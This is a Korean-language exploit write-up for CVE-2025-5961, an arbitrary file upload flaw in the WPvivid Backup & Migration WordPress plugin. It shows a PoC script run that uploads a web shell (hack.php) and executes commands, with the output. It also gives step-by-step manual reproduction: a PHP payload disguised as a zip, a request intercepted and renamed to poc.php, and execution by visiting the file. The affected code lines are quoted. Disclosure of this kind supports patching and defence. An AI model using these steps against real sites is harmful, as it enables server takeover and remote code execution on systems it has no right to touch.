CVE-2025-5961

마이그레이션, 백업, 스테이징 – WPvivid Backup & Migration <= 0.9.116 - 인증된 (관리자+) 임의 파일 업로드

wpvivid-backuprestore 플러그인은 wpvivid_upload_import_files 액션의 파일 유형을 검사하지 않아, 관리자 이상의 권한을 가진 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드 실행을 할 수 있습니다. 참고: 업로드된 파일은 NGINX 웹 서버에서 실행 중인 WordPress 인스턴스에서만 접근 가능합니다. 대상 파일 업로드 폴더 내의 기존 .htaccess 파일이 Apache 서버에서의 접근을 차단하기 때문입니다.

TL;DR 익스플로잇

관리자가 hack.php라는 웹 셸을 업로드하는 것을 보여주는 PoC CVE-2025-5961.py가 제공됩니다.

 python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 78309sec preferred_lft 78309sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86105sec preferred_lft 14105sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

상세 정보

wpvivid_upload_import_files 액션은 /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php 파일의 2210번째 줄에서 upload_files 함수를 호출하며, 파일 유형 검증을 강제하지 않습니다.

2235번째 줄에서 $file_name은 다음과 같이 설정됩니다:

$file_name=basename(sanitize_text_field($_POST['name']));

$file_name 변수는 2246번째 줄에서 파일 시스템에 파일을 쓰는 데 사용됩니다.

$file_handle = fopen($path.$file_name, 'wb');

수동 재현

수동으로 진행 중이므로 프런트엔드 유효성 검사를 통과할 악성 파일을 생성합니다. 터미널에 다음을 입력합니다:

echo "<?php phpinfo(); ?>" >>  wpvivid-0000000000000_1969-04-20-00-00_export_post.zip

관리자 패널에 로그인하고 WPvivid Backup 탭으로 이동합니다.
사이드 메뉴에서 Export & Import 옵션을 선택한 다음 Import 탭을 선택합니다.
Burp Suite 또는 유사한 도구를 실행하고 트래픽을 가로채기 시작합니다.
Upload and Import 버튼을 클릭하고, 0단계에서 생성한 wpvivid-0000000000000_1969-04-20-00-00_export_post.zip을 선택합니다.
첫 번째 POST 요청은 다음과 같은 내용을 포함합니다. 이 요청을 전달합니다:

POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b

폼 데이터를 포함한 다음 요청에서 파일 이름을 poc.php로 설정하도록 수정합니다:
https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php로 이동하여 개념 증명을 실행합니다.

CVE-2025-5961

인기

CVE-2025-5961

마이그레이션, 백업, 스테이징 – WPvivid Backup & Migration <= 0.9.116 - 인증된 (관리자+) 임의 파일 업로드

TL;DR 익스플로잇

상세 정보

수동 재현